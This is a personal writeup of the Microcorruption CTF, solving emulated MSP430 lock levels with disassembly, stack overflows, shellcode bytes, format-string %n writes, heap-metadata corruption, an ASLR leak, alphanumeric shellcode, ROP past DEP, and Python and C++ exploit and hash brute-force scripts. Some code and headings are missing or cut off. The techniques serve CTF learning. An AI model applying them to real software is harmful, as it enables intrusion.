Microcorruption CTF writeup

A while ago, Matasano and Square created a CTF called microcorruption which I really enjoyed. Since the CTF has no real deadline, I held off on publishing a writeup in order to avoid spoiling it for others. Now I feel like it's been long enough to allow people to share how they solved the challenges openly. If you haven't done the CTF yet, I would encourage you to stop reading and go do that now.

General Notes

Microcorruption is arranged in levels which are given city names (in the story, you are visiting each city and cracking locks). This writeup won't care about the story that much, we care about the cracking :)

The CTF is designed such that there is a "LockIT Pro Lock" emulator running in THE CLOUD, which you remotely send commands to debug and eventually "unlock". The emulator is essentially executing a slightly modified MSP430 instruction set. Some modifications were intentional, others are bugs..., it is left up to the player to discover the bugs, unfortunately. Reading the user manual for this device is very important in order to complete the levels.

Levels are unlocked sequentially for the most part, and each level focuses on exersizing a specific skill. While I do not know the exact scoring and ranking system, factors appear to include:

  • time of unlock
  • number of total cpu cycles from "boot" until unlock
  • total size of inputs

I think the overall ranking is just based on completion time - the other factors are only used for determining ranking within a single level. I wasn't playing for ranking, so for some levels I took my time looking for decent optimizations (it's fun!), while others I rushed out of frustration.

Most levels are easy to complete with the built-in features on the website. Some other people did fancy things like make their own frontends, disassemblers, and symbolic execution engines. While that stuff is very cool and I'd love to read their writeups, I stuck to the website, IDA, and hacky python scripts.

This is the first time I've done a writeup of a CTF. Like microcorruption itself, it is meant to be easy to follow and gradually increase assumptions about the reader's skill level. I appreciate any feedback.

New Orleans

As the first actual level, this is expectedly easy.

4438 <main>  
4448:  mov  sp, r15  
444a:  call #0x44b2 <get_password>  
444e:  mov  sp, r15  
4450:  call #0x44bc <check_password>  
4454:  tst  r15  
4456:  jnz  #0x4462 <main+0x2a>  
4462:  mov  #0x4520 "Access Granted!", r15  
4466:  call #0x4594 <puts>  
446a:  call #0x44d6 <unlock_door>  

So, it looks like user input is read into the memory pointed to by r15(here, the stack). The same pointer is then used to check validity with check_password, which should return nonzero if it's the correct password.

44bc <check_password>  
44c2:  cmp.b  @r13, 0x2400(r14)  
44c6:  jne    #0x44d2 <check_password+0x16>  
44d2:  clr    r15  
44d4:  ret  

A quick glance at check_password is all we need to know that it's equivalent to memcmp(r15, (void *)0x2400, 8) == 0. Assuming you stopped the debugger while it's waiting for user input, you will notice the correct value is already at 0x2400. If you wanted to do it without running the debugger at all you can also find the password being stored into 0x2400 in create_password from immediate values in mov.b instructions. Note that the last byte is 0x00, so your input need only be 7 bytes since the memory is zero-initialized.




I guess this level is just demonstrating the system's endianness. Given that your input is sequentially read into memory, it is then compared with immediate values directly instead of loading the comparison values from memory. Thus you discover cmp #0x386b, 0x0(r15) requires (u8 *)r15[0] == 0x6b && (u8 *)r15[1] == 0x38, for example. Therefor the machine is said to be dealing with 16bit little-endian words.

448a <check_password>  
448a:  cmp   #0x386b, 0x0(r15)  
4490:  jnz   $+0x1c  
4492:  cmp   #0x473c, 0x2(r15)  
4498:  jnz   $+0x14  
449a:  cmp   #0x2c38, 0x4(r15)  
44a0:  jne   #0x44ac <check_password+0x22>  
44a2:  mov   #0x1, r14  
44a4:  cmp   #0x2b71, 0x6(r15)  
44aa:  jeq   #0x44ae <check_password+0x24>  
44ac:  clr   r14  
44ae:  mov   r14, r15  
44b0:  ret  

Since the early-out paths result in zero being returned, we can guess that reaching the mov #0x1, r14 instruction is the goal.




This level introduces basic memory corruption vulnerabilities. The level makes sure you know the input must be between 8 and 16 characters to be considered valid.

4520 <login>  
4534:  mov   #0x1c, r14  
4538:  mov   #0x2400, r15  
453c:  call  #0x45ce <getsn>  
4540:  mov   #0x2400, r15  
4544:  call  #0x4454 <test_password_valid>  
4548:  tst   r15  
454a:  jz    $+0x8  
454c:  mov.b #0x4f, &0x2410  
4552:  mov   #0x44d3 "Testing if password is valid.", r15  
4556:  call  #0x45de <puts>  
455a:  cmp.b #0x85, &0x2410  
4560:  jne   #0x4570 <login+0x50>  
4562:  mov   #0x44f1 "Access granted.", r15  
4566:  call  #0x45de <puts>  
456a:  call  #0x4448 <unlock_door>  
456e:  ret  
4570:  mov   #0x4501 "That password is not correct.", r15  

The obvious thing which stands out is that getsn(which is just a wrapper for INT 0x2: gets(char *buf, uint len)) is being called with len = 0x1c, which can put us 12 bytes over the supposed input limitation. Here buf = 0x2400, so we can overwrite 0x2410-0x241b even though this probably lies outside the buffer used for input. From the disasm, we see that unlock_door will be called if *(u8 *)0x2410 == 0x85. Interestingly, test_password_valid(wrapper for INT 0x7d: hsm1(char *buf, u8 *flag)) must return failure, otherwise 0x2410 will be overwritten with 0x4f. I guess this is just to guide the newbies away from attempting to bruteforce the password supposedly stored in the HSM-1?




Like Hanoi, this challenge calls getsn with a too-large length value. This results in overwriting the stack with input data. However, it doesn't look like there are any important variables stored on the stack.

4500 <login>  
4514:  mov  #0x30, r14  
4518:  mov  sp, r15  
451a:  call #0x4596 <getsn>  
451e:  mov  sp, r15  
4520:  call #0x4452 <test_password_valid>  
4524:  tst  r15  
4526:  jz   #0x4532 <login+0x32>  
4528:  call #0x4446 <unlock_door>  
452c:  mov  #0x44d1 "Access granted.", r15  
4530:  jmp  #0x4536 <login+0x36>  
4532:  mov  #0x44e1 "That password is not correct.", r15  
4536:  call #0x45a6 <puts>  
453a:  add  #0x10, sp  
453e:  ret  

The easiest way to demonstrate how to abuse this is just to fill the input with 0x30 'A's and see what the debugger tells us:

insn address unaligned  
> r pc 8
   4141:   0000 0000 0000 0000  ........

Ok, somehow we ended up executing at 0x4141, which is probably taken directly from our input. How did this happen? If we debug through, you will notice pc is set to 0x4141 when returning from login. Another indicator is that the last log is "That password is not correct.", meaning the complete login routine was executed before dying.

Taking a look at the ever-handy MSP430x1xx User's Guide(pg.3-56), we see ret is verbosely described as:

@SP → PC
SP + 2 → SP  

By breaking at login's ret and looking in the memview, it's easy to see how to exploit this:

> r sp 8
   43fe:   4141 4141 4141 4141  AAAAAAAA

43e8:   0a00 0000 3a45 4141   ....:EAA  
43f0:   4141 4141 4141 4141   AAAAAAAA  
43f8:   4141 4141 4141 4141   AAAAAAAA  
4400:   4141 4141 4141 4141   AAAAAAAA  

Our input starts at 0x43ee, and the value at 0x43fe will be popped from the stack into pc. Now we have arbitrary control of pc, what can we do? For me, the most straightforward option was just to redirect to some pre-existing code in the binary which would unlock the door. unlock_door fits this description perfectly. There are other ways to go about this, but they are somewhat less intuitive and will be exersized in later levels, anyways.




In this level, we see a rather concerning thing:

4438 <main>  
4438:  mov  #0x4520, r14  
443c:  mov  r14, r15  
443e:  mov  #0xf8, r14  
4442:  mov  #0x2400, r15  
4446:  call #0x4486 <enc>  
444a:  call #0x2400  

The code itself appears to be obfuscated in some way. main decodes a chunk of data to 0x2400 and starts executing it.
By breaking on 0x2400 we can look at all of the decoded data and plop it into your favorite disassembler. You will see a lot of call #0x2464, which we can discern to be the INT function (calls __trap_interrupt).

add     #0x4, sp  
push    #0x1f  
mov     #0xffdc, r15  
add     r4, r15  
push    r15  
push    #0x2  
call    #0x2464     ; INT 2 (gets(r4 - 0x24, 0x1f))  
add     #0x6, sp  
cmp     #0x1306, -0x24(r4)  
jnz     $+0xc  
push    #0x7f  
call    #0x2464     ; INT 0x7f  

Here it's easy to see the value which will cause INT 0x7f to be triggered.




This level should remind you of Cusco. The difference is that the HSM-2 is now being used, and there is no longer a code sequence in the original binary which will cause an unconditional unlocking of the door. Supposedly, you must rely on some "hardware magic" performed by the HSM-2 to verify the password and unlock the door as an atomic operation.

The solution is simple, but requires thinking of another exploit applicable to the stack buffer overflow situation. Last time we redirected execution to existing code. There is no good existing code...so what if we introduce our own? There are a few ways to accomplish this - I'll only cover the one I used.

This is a good time to revist what actually occurs when the C function INT(0x7f) was being called:

4532 <INT>  
mov   0x2(sp), r14  
mov   r14, r15  
swpb  r15  
mov   r15, sr  
bis   #0x8000, sr  
call  #0x10  

Or in psuedo-C:

sr = 0x8000 | (arg0 << 8) | (arg0 >> 8)  

Thus, INT(0x7f) is just sr = 0x8000 | (0x7f << 8) = 0xff00; pc = 0x10, or in actual MSP430 assembly:

mov  #0xff00, sr  
br   #0x0010  

Assembling this, padding up to the return address, and placing our new return address gives us the flag.




452c <login>  
452c:  add      #0xffee, sp  
4530:  mov.b    #0xaa, 0x11(sp)  
4546:  mov      #0x3f, r14  
454a:  mov      #0x2400, r15  
454e:  call     #0x45e8 <getsn>  
4552:  mov      #0x2400, r14  
4556:  mov      sp, r15  
4558:  call     #0x4624 <strcpy>  
455c:  mov      sp, r15  
455e:  call     #0x4452 <test_password_valid>  
4562:  tst      r15  
4564:  jz       #0x4570 <login+0x44>  
4566:  call     #0x4446 <unlock_door>  
456a:  mov      #0x44d1 "Access granted.", r15  
456e:  jmp      #0x4574 <login+0x48>  
4570:  mov      #0x44e1 "That password is not correct.", r15  
4574:  call     #0x45f8 <puts>  
4578:  cmp.b    #0xaa, 0x11(sp)  
457e:  jeq      #0x458c <login+0x60>  
4580:  mov      #0x44ff "Invalid Password Length: password too long.", r15  
4584:  call     #0x45f8 <puts>  
4588:  br       #0x443c <__stop_progExec__>  
458c:  add      #0x12, sp  
4590:  ret  

This is another level focusing on overwriting the stack. You'll notice the password is again intended to be a maximum of 16bytes. However, getsn is called with len = 0x3f. This time, the input is read into a buffer at 0x2400, and then strcpy is used to copy it to the stack. This effectively disallows us from including null bytes in our input, as they will just result in truncation of the input data during strcpy. Additionally, there is a "stack cookie" byte at sp+0x11 which is how the password length is actually being verified. The idea is that if the value of the cookie changes during execution of the function, __stop_progExec__ is called, and program execution immediately halts as a security violation has been detected (Note: in this example, the cookie is static, and puts is called before halting, which is not good practice).

These two mitigations are easily bypassed: just use a string not containing null bytes, which has 0xaa at +0x11. Then overwrite the return address to point to unlock_door. Done.




This challenge is very similar to Whitehorse (we can overwrite the return address, and need to execute our own input data), and Johannesburg (input is transferred via strcpy).
This means our assembled shellcode may not contain null bytes, which seems tricky at first. I wanted to have my shellcode be minimal so I wouldn't be annoyed by finding nicely-encoded instructions. To do this, I looked for a useful pre-existing chunk of code and found:

4554:  swpb r15  
4556:  mov  r15, sr  
4558:  bis  #0x8000, sr  
455c:  call #0x10  

This is great because we know br is encoded as 3040 <absolute address>, and as such will be OK. Now we just need to make r15 be useful before branching here. Since r15 is 0x0000 when the shellcode starts executing, a non-null-friendly way to do this is sub #0xff81, r15, which gives us r15 = 0x7f, encoded as 3f80 81ff and resulting in a nice unconditional unlock.



Santa Cruz

This level is again using strcpy to copy input onto buffers in the stack without checking the input buffer length. Ironically, this time the buffer lengths are being checked after copying them to the stack. However, as the variables against which they are compared are also stored on the stack (in a location reachable from overflowing the password), we can coerce the length checks to pass. Brilliant.
By breaking at the variable initialization and strcpy calls, we can visualize the stack layout:

u8 username[] @ 43a2 (control up to 0x63 bytes)  
s8 input_min  @ 43b3 (initialized to 0x08)  
s8 input_max  @ 43b4 (initialized to 0x10)  
u8 password[] @ 43b5 (control up to 0x63 bytes)  
u16 ret_addr  @ 43cc  

Great, we can set input_min = 1 and input_max = 0x7f (they're signed!), and continue on to overwrite the return address. I decided to reuse the same shellcode idea as Montevideo, which gives:

sub  #0xff81, r15  
br   #0x46cc  

Now we have a good idea about how to layout the username input, but we can't get away without bypassing another mitigation, it seems. This is because the program will always pass our username to INT(0x7d), which will fail. This takes us to the failure path at 0x4644, which will call __stop_progExec__ if *(u8 *)0x43c6 != 0x00. Unfortunately this byte must be nonzero at this point as it is overwritten by our username data, which may not contain null bytes.

The workaround for this is to realize that strcpy copies all bytes including the null byte from it's input:

4754 <strcpy>  
475c:  mov.b    @r14, r12  
475e:  mov.b    r12, 0x0(r13)  
4762:  tst.b    r12  
4764:  jnz  #0x4758 <strcpy+0x4>  

Because of this behavior we only need a properly sized password, such that the trailing null byte will overwrite 0x43c6. Also, the memory which input is read into is zero-initialized.


username = 3f8081ff3040cc46414141414141414141017f4343434343434343434343434343434343ff5858585858a243
password = 4242424242424242424242424242424242

Addis Ababa

This level introduces format string vulnerabilities. The challenge follows the previous pattern of copying the original input buffer to the stack via strcpy. The stack copy is then, for whatever reason, passed to printf. I actually reversed the printf implementation in IDA, however just looking at the LockIT Pro manual should be enough to see the intended direction for this level. The implementation supports very few format specifiers, and within those few is a weird one: %n.

Ignoring the underlying behavior of printf for now, let's look at the code and see what we are working with:

4472:  call  #0x44b0 <test_password_valid>  
4476:  mov   r15, 0x0(sp)       ; password_valid  
447a:  push  r11  
447c:  call  #0x45c8 <printf>  
4480:  incd  sp  
4482:  mov   #0xa, r15  
4486:  call  #0x4550 <putchar>  
448a:  tst   0x0(sp)            ; password_valid  
448e:  jz    #0x4496 <main+0x5e>  
4490:  call  #0x44da <unlock_door>  

The above shows that we need to overwrite 0x0(sp), where sp = 0x3c36 during the printf.

The printf implementation included in the LockIT Pro handles only %s, %x, %c, and %n. Of these, %n sticks out, as mentioned previously, because it is the only format specifier which writes to the given argument. An example usage of %n might look like this:

// This is just an example to show %n usage,
// it is not the same code that's in the level
char c = 'a';  
uint u = 0x1234;  
uint num_written;  
printf("%x %c\n%n", u, c, &num_written);  
// now, num_written = 2 + 1 + 1 + 1 = 5

So, we know we need to include %n in the format string and match it with 0x3c36 in the argument list, but only r11 (format string pointer) is being pushed on the stack for printf...how do we control the args?

Looking at the stack at the time of the call, we can get an idea:

pc = 447c:  call  #0x45c8 <printf>  
sp = 3c34

; memory around sp in memview
3c30:   0024 0000 383c 0000 4141 4141 4141 4141  
                  ^sp(@3c34)^--- fmt string (@3c38)
                       ^--- password_valid (@3c36)

Aha! So we need to skip at least 2bytes, so that printf will be looking at our controlled data when it goes to read the argument for %n. We can do exactly this by adding a %x to the format string. We end up with a template like: <num_written_ptr>%x%n. Using that, the flag is simple.




This level purports to ensure that total bytes of input is 0x20 or less. Let's check the code...

4560 <login>  
457e:  mov   #0xff, r14  
4582:  mov   #0x2402, r15  
4586:  call  #0x46b8 <getsn>        ; getsn(temp, 0xff)  
4592:  mov   #0x2401, r15  
4596:  inc   r15  
4598:  tst.b 0x0(r15)  
459c:  jnz   #0x4596 <login+0x36>  
459e:  mov   r15, r11  
45a0:  sub   #0x2402, r11           ; r11 = strlen(temp)  
45a4:  mov   #0x2402, r14  
45a8:  mov   sp, r15  
45aa:  call  #0x46f4 <strcpy>       ; strcpy(username, temp)  
45ae:  cmp.b #0x21, r11             ; strlen must've been <= 0x20  
45b2:  jnc   #0x45c0 <login+0x60>  
45c0:  mov   #0x4516 "Please enter your password:", r15  
45c4:  call  #0x46c8 <puts>  
45c8:  mov   #0x1f, r14  
45cc:  sub   r11, r14               ; r11 may be 0x20 here, so  
45ce:  and   #0x1ff, r14            ; (0x1f - 0x20) & 0x1ff = 0x1ff  
45d2:  mov   #0x2402, r15  
45d6:  call  #0x46b8 <getsn>        ; getsn(temp, 0x1ff) <-- buffer  
                                    ; overflow via integer underflow

Exploiting the above integer underflow and buffer overflow allows overwriting a large part of the stack.
However, there is another length check, which checks the accumulated length:

45fe:  add   r11, r15               ; r15 = strlen(username) +  
                                    ; strlen(password)
4600:  cmp.b #0x21, r15             ; byte compare! (r15 & 0xff) > 0x20  

In order to evade this check, we need to choose password such that ((strlen(password) + 0x20) & 0xff) <= 0x20.
Completing the level just requires inserting the return address value and your choice of shellcode.


username = 3f8081ff30406c46 + 'A' * (0x20 - 8)  
password = 42424242f23f + 'B' * (0xe0 - 6)  


This level is very similar to Addis Ababa, however there isn't a simple password_valid variable to overwrite this time (or at least not that I saw). Instead, it appears necessary to overwrite the return address of printf while the format string is being processed. This turned out to be quite annoying as the only path I thought of required printing N characters to the screen (where N is the desired return address), and then using %n to overwrite the existing return address. The input is still being strcpy'd, so the stack copy will be truncated after the first null byte. strcpy actually came in useful here - the original input buffer remains unmodified in the temporary location, and the truncated version is on the stack. By taking advantage of this, I was able to have two "views" of the same buffer - one containing arbitrary shellcode and the other only a C-string.

As seen below in the flag construction, my general approach to create a large N value was to repeatedly print the same large string. The string is essentially printing itself (the copy in the temporary buffer), until N is within the post-null-byte temporary buffer region, and then overwrites the return address with N and begins normal shellcode execution.

This level could have definitely been completed in a few better ways, but I didn't want to spend too much time on it.


# <ptr_to_str*num_str><ptr_to_overwrite><%s*num_str><%n><null_pad><controlled_data>
import struct

# point to self (can't be 0x2400 - avoiding null bytes)
ptr_to_str = 0x2401  
# will be overwritten with num printed
ptr_to_overwrite = 0x4208  
# from testing, this makes r10=0x24f2, so
# we'll just be lazy and place shellcode entrypoint there
num_str = 0x30  
output = struct.pack('<H', ptr_to_str) * num_str + struct.pack('<H', ptr_to_overwrite) + '%s' * num_str + '%n'  
# <null_pad><shellcode>
shellcode = '324000ff30401000'.decode('hex') + '\0' * (0x24f2 - 0x24c6 - 8) + '3040c624'.decode('hex')  
output += '\0\0' + shellcode  
print output.encode('hex')  


This level introduces the concept of exploitation by overwriting heap metadata. This level was kind of cool since it takes username and password as input, and I solved it without a password.

As hinted above, this is the first level which uses the heap. Specifically, there is dynamically allocated memory being used to store our input. The buffers are allocated and deallocated with malloc and free, respectively.

The first thing I did was just triggering a crash with a patterned input buffer, and then started working backwards.

username = 5555575559555b555d555f55615563556555  
password = None  

This results in a load address unaligned: 5569 error, and the cpu halts with pc = 4520. Let's see what happened:

4508 <free>  
450a:  add  #0xfffa, r15  
450e:  mov  0x4(r15), r13  
4512:  and  #0xfffe, r13  
4516:  mov  r13, 0x4(r15)  
451a:  mov  @r15, r14       ; r14 = 5565  
451c:  mov  0x4(r14), r12   ; die

> r sp 8
   4392:   2424 a846 0000 0000
                ^- return address

46a2:  mov   r11, r15  
46a4:  call  #0x4508 <free>  
46a8:  mov   r10, r15  

The crash is occurring on the first call to free, which is freeing the password buffer. However, looking closer at the heap layout reveals that the contents of the password buffer don't matter; it is the allocation and deallocation order which matters.

Let's take a step back and look at what free is doing:

// This is just for a general idea of what's
// going on...I do not guarantee it's correct
struct alloc_hdr_t {  
    u16 prev;
    u16 next;
    // size w/"in use" flag as the lsb
    u16 flags;

void free(void *buf) {  
    alloc_hdr_t *hdr = (alloc_hdr_t *)((char *)buf - sizeof(alloc_hdr_t));
    flags = hdr->flags;
    hdr->flags = flags & ~1;

    alloc_hdr_t *prev = hdr->prev;
    if ((prev->flags & 1) == 0) {
        prev->flags += 6;
        prev->flags += flags;
        prev->next = hdr->next;
        hdr->next->prev = prev;
        hdr = prev;
    alloc_hdr_t *next = hdr->next;
    if ((next->flags & 1) == 0) {
        hdr->flags += next->flags;
        hdr->flags += 6;
        hdr->next = next->next;
        next->prev = hdr;

Looking at the entire level, there are a few issues:

  • malloc is called with size = 0x10 bytes
  • getsn is called with size = 0x30 bytes
  • malloc internally stores size as
    • hdr.flags = (size << 1) | used_flag
    • buffer is still size bytes
  • free considers the size to just be
    • size = hdr.flags & ~used_flag_mask

This creates an environment where a 0x10 byte buffer is malloc'd, written with up to 0x30 bytes, and free'd as if it is 0x20 bytes. So, there is a lot of corruption to choose from.

At the point of entering the username, the heap looks like:

<4 word heap header>  
<0x10 byte 'username' allocation:  
 <3 word allocation header @2408
  <prev=2408, next=241e, flags=0021>
 <0x10 byte user buffer>
<0x10 byte 'password' allocation:  
 <3 word allocation header @241e
  <prev=2408, next=2434, flags=0021>
 <0x10 byte user buffer>
<heap footer>  

Since free is called on the password buffer first and we can overwrite the allocation header by overflowing the username heap buffer, we can gain control in the first free call. This is the same thing we found out just by feeding the program bogus input :)

My approach was to overwrite the password allocation header such that free will overwrite the return address with a pointer to my shellcode. Then I constructed a fake allocation header in the username buffer which is already marked as being free. This stops free from further corrupting the return address by processesing other allocations.

import struct

ptr_to_retaddr = 0x4394  
original_retaddr = 0x46A8  
new_retaddr = 0x2414  
shellcode = '324000ff30401000'.decode('hex')

# construct a fake allocation header - marked as 'unused'
output  = struct.pack('<H', 0xabab)  
output += struct.pack('<H', 0x0001)  
output += struct.pack('<H', 0x0000)  
output += shellcode  
output += 'A' * (8*2 - len(output))  
# overwrite the password allocation header
output += struct.pack('<H', ptr_to_retaddr - 4)  
output += struct.pack('<H', 0x240e - 2)  
output += struct.pack('<H', (new_retaddr - 6 - original_retaddr) & 0xffff)  
print output.encode('hex')  


username = abab01000000324000ff30401000414190430c2466dd  
password = None  


This level introduces ASLR. Normally defeating ASLR requires an information leak - a way to determine how the program has been relocated. So we'll keep on the lookout for something like that.
Since self-modifying code makes the web debugger mostly useless, let's dump it into IDA and take a look.

At 0x4438, a new interrupt is called in order to randomize code and stack locations: INT(0x20), rand. The code is copied to the new location, sp is set, and finally the relocated aslr_main function is called. aslr_main is just a wrapper for _aslr_main, seen below:

ROM:4482 _aslr_main:         ; DATA XREF: aslr_main+2  
ROM:4482 printf= -0Ah  
ROM:4482   push.w  R11  
ROM:4484   push.w  R10  
ROM:4486   sub.w   #8, SP  
ROM:4488   mov.w   R15, R12  ; code_base  
ROM:448A   add.w   #(printf - __init_stack), R12  
; can derive code_base from this stack val
ROM:448E   mov.w   R12, 0Ch+printf(SP)  

OK, so it is calculating the address of the printf function after relocation and saving it on the stack. Note: the stack variable is not used afterwards, so the save to stack must've just been done to make it easier on players. In any case, this means if we can leak the adjusted value from the stack, we can know where the program has been relocated to. In order to leak it, let's see how our input is used:

; static location for the input buffer
ROM:2426 username .space 0Ch  
; here is the beautifully inlined
; and ASLR-compliant INT(2)
ROM:45BC mov.w   #username, R11  
ROM:45C0 mov.w   #2, R13  
ROM:45C2 push.w  R10                ; arg1 len  
ROM:45C4 push.w  R11                ; arg0 username  
ROM:45C6 push.w  R13  
ROM:45C8 push.w  PC  
ROM:45CA push.w  SR  
ROM:45CC mov.w   R13, R15  
ROM:45CE swpb    R15  
ROM:45D0 mov.w   R15, SR  
ROM:45D2 bis.w   #8000h, SR  
ROM:45D6 call    #CALLGATE          ; gets  
ROM:45DA pop     SR  
ROM:45DC add.w   #8, SP  
ROM:45DE mov.b   R14, &username+8   ; null byte  
ROM:45E2 push.w  R11                ; fmt  
ROM:45E4 call    R12                ; printf  

The above shows how the username input is used - it is passed directly to printf. The good news is that the saved pointer to the relocated printf is on the stack and accessible from our format string:

pc = cc5a (randomly relocated printf)  
> r sp 8
   b976:   d6ca 2624 0000 5acc  ..&$..Z.
           ^    ^fmt      ^printf pointer in
           ret_addr         _aslr_main's stack frame

This can easily be dumped to the "I/O Console" with password = %y%x. This just abuses the fact that an unrecognized specifier skips a word without printing anything.
In order to unlock the door, I chose to return to _INT with the 0x7f argument on the stack.


import struct  
username = '%y%x'  
#printf_addr = val printed out as username
# _INT - printf = 0x182
password = ('AA'*4+struct.pack('<H', 0x182 + printf_addr)+'BB'+'\x7f\x00').encode('hex')  


The main attraction in Lagos is getting around a limitation on input values - the entire input will be ignored starting at the first non-alphanumeric (ASCII) character. All characters before the first non-alphanumeric will be copied to the stack from a temporary buffer. The temporary buffer may be up to 0x200 bytes, which should be plenty to overwrite the return address. However, I noticed an interesting thing:

; 45A4 stores a valid character to the stack
reset; b 45A4; c  
sp = 43ec  

Like any other level, the code starts at 0x4400. Given that we have control of 0x200 bytes from 0x43ec, we can actually overwrite conditional_unlock_door, bypassing the need to mess with the return address of login.

The remaining part of the challenge is the actual alphanumeric shellcode creation. I spent a long time attempting to discover valid instruction sequences based off of MSP430 instruction manuals, but was unsuccessful. Finally I was going to just bruteforce all possible instructions, but rmmh beat me to it. Using this list, I constructed an alternate method of executing sr = 0xff00; pc = 0x10. This was accomplished by first looking at the machine state at the time of control transfer to the overwritten conditional_unlock_door:

pc  4446  sp  43ea  sr  0003  cg  0000  
r04 0000  r05 5a08  r06 0000  r07 0000  
r08 0000  r09 0000  r10 0000  r11 009f  
r12 2600  r13 0000  r14 0000  r15 43ec  
(OK, I'm being lazy here and just showing the flag :>)
> r sp
   43ea:   e045 0041 417a 4342  .E.AAzCB
   43f2:   4342 7a7a 4343 4343  CBzzCCCC
   43fa:   4343 4343 4343 4343  CCCCCCCC
   4402:   4343 4343 4343 4343  CCCCCCCC
> r pc
   4446:   3851 3941 3941 3970  8Q9A9A9p
   444e:   4d34 3852 3251 3251  M48R2Q2Q
   4456:   3251 3049 0f12 3012  2Q0I..0.
   445e:   7e00 b012 fc45 5f44  ~....E_D

Note that sp is pointing to 0x45e0: the return address within login. After the return address, there is a zero byte and then our input data. This machine state can easily be used to pop values from the stack (containing our controlled data), and operate on them with the instructions we overwrote at 0x4446. The code I came up with can be seen above, but here it is in nicer form:

; Note the stack contents as seen above

; skip retaddr
38 51                add @SP+,R8 ; also clears flags  
; skip zero'd word
39 41                mov @SP+,R9  
; setup register to point to 0010
; exists at 45f4, 460e
39 41                mov @SP+,R9 ; load 344d  
39 70 4d 34          subc #0x344d,R9 ; 7A41 - 344D = 45f4  
; nop/clear flags
38 52                add 8,R8  
; add to sr repeatedly
; result in sr must never have CPUOFF bit set!
32 51                add @SP+,SR ; + 4243 = 4243  
32 51                add @SP+,SR ; + 4243 = 8486  
32 51                add @SP+,SR ; + 7a7a = ff00  
; pc = *rX
30 49                mov @R9+,PC  




This level focuses on defeating DEP. Since the vulnerability is another simple stack buffer overflow, we can easily rewrite the return address and execute a pre-existing chunk of code (which was marked executable in set_up_protection) in order to mark the stack executable (which was marked writeable in set_up_protection).
My so-called ROP gadget was:

; gadget to call INT(0x11) (args on stack)
44A2  sub.w   #6, SP  
44A6  mov.w   #9100h, SR  
44AA  call    #__trap_interrupt  
44AE  add.w   #0Ah, SP  
44B2  ret  

In order to use this gadget, the stack must be setup properly such that the interrupt sees arguments as INT_11(0x003f, 0x0000). After execution, the stack will have been marked executable so we can provide a return address pointing back into the stack. I've just reused old shellcode here.

To help visualize the use of the rop gadget, this is what the stack looks like:

...  ; shellcode and padding
44a2 ; gadget address  
003f ; page = 0x3f  
0000 ; mode = executable  
3fee ; shellcode address  




This level is the harder cousin of Algiers. It is probably large enough to have it's own blog entry.

This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!


import struct  
from ctypes import *  
from collections import *  
from string import digits, ascii_uppercase, ascii_lowercase  
from itertools import product

chars = digits + ascii_uppercase + ascii_lowercase

num_buckets = 1 << 3  
bucket_mask = num_buckets - 1

def iterstrings(prefix = ''):  
    for n in range(1, 15):
        for comb in product(chars, repeat = n):
            yield prefix + ''.join(comb)

def hash(s):  
    acc = c_int16(0)
    for c in s:
        val = c_int16(c_int8(ord(c)).value)
        if val.value == 0: break
        x = c_int16(acc.value + val.value)
        acc.value = x.value
        acc.value <<= 5
        acc.value -= x.value
    return acc.value & 0xffff

def get_fillers(bucket_idx, qty):  
    vals = []
    for i in iterstrings():
        if hash(i) & bucket_mask == bucket_idx:
            if len(vals) == qty:
    return vals

def make_collision(prefix, bucket_idx):  
    for i in iterstrings(prefix):
        if hash(i) & bucket_mask == bucket_idx:
            return i

def get_cmdstr(vals):  
    cmds = []
    for val in vals:
        cmds.append('new ' + val + ' 1;')
    return ''.join(cmds)

bucket_to_fill = 0 # 503c  
names = get_fillers(bucket_to_fill, 10)  
# overwrite prev, next of header @ 6th element. must be marked used, size can be whatever
fake_free_block_ptr = 0x50a2  
ptr_to_retaddr = 0x3dce  
original_retaddr = 0x49a2 # from rehash 486a from add_to_table  
new_retaddr = 0x3e60 # on stack of run()  
fake_prev_block_ptr = 0x508a  
fake_prev_block = struct.pack('<3H', ptr_to_retaddr - 4, 0x0101, 0xffff & ~1)  
names.insert(4, make_collision(fake_prev_block, bucket_to_fill))  
h1 = struct.pack('<3H', ptr_to_retaddr - 4, fake_free_block_ptr, (new_retaddr - 6 - original_retaddr) & 0xffff | 1)  
fake_free_block = struct.pack('<3H', fake_prev_block_ptr, 0x503c + (bucket_to_fill + 3) * 0x60, 0xffff & ~1)  
names.insert(5, make_collision(h1 + fake_free_block, bucket_to_fill))  
shellcode = '324000ff30401000'.decode('hex')  
cmdstr = get_cmdstr(names) + shellcode  
print cmdstr  
print cmdstr.encode('hex')  


This level a more typical CTF challenge. It is probably large enough to have it's own blog entry.

This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!

uctf-hollywood-start uctf-hollywood-hash


#include <cstdio>
#include <vector>
#include <cstdint>
#include <array>
#include <thread>
#include <chrono>
#include <mutex>

typedef uint8_t   u8;  
typedef uint16_t u16;  
typedef uint32_t u32;  
typedef uint64_t u64;  
typedef std::array<u16, 3 + 1> array_t;

static std::mutex g_log_mutex;

u32 hash(array_t const x) {  
    u16 r4 = 0, r6 = 0;
    int pos = 0;

    for (;;) {
        r4 += x[pos];
        r4 = _byteswap_ushort(r4);
        r6 ^= x[pos++];
        std::swap(r4, r6);
        if (x[pos] == 0)

    return (r4 << 16) | r6;

struct Acc {  
    array_t acc;

    Acc() : acc({ { 0 } }) {

    void advance() {
        for (int i = 0; i < acc.size() - 1; ++i) {
            if (++acc[i] != 0) {
        bool seenNonZero = false;
        for (int i = acc.size() - 1; i >= 0; --i) {
            if (!seenNonZero) {
                seenNonZero = acc[i] != 0;
            } else if (acc[i] == 0) {
                acc[i] = 1;

    void print() {
        for (int i = 0; i < acc.size() - 1; ++i) {
            printf("%0*x", sizeof(acc[i]) * 2, _byteswap_ushort(acc[i]));

void HashThread(array_t::value_type const thread_id) {  
    Acc acc;
    u64 count = 0;
    u64 const interval = 0x1000000000000ull / 7;
    u64 const initial = interval * thread_id;

    for (int i = 2; i >= 0; --i) {
        acc.acc[i] = (initial >> (i * 16)) & 0xffff;

    while (count++ < interval) {
        if (++count == 0) {
            count = 1;
            printf("%i:", thread_id);
        u32 x = hash(acc.acc);
        if (x == 0xfeb19298ul) {
            std::lock_guard<std::mutex> lock(g_log_mutex);
            printf("%i:", thread_id);

    printf("%i:done\n", thread_id);

int main() {  
    std::vector<std::thread> threads;
    for (int i = 0; i < 7; ++i) {
        threads.emplace_back(std::thread(HashThread, i));

    for (auto &thread : threads) {
        if (thread.joinable()) {

    printf("covered all space\n");

    return 0;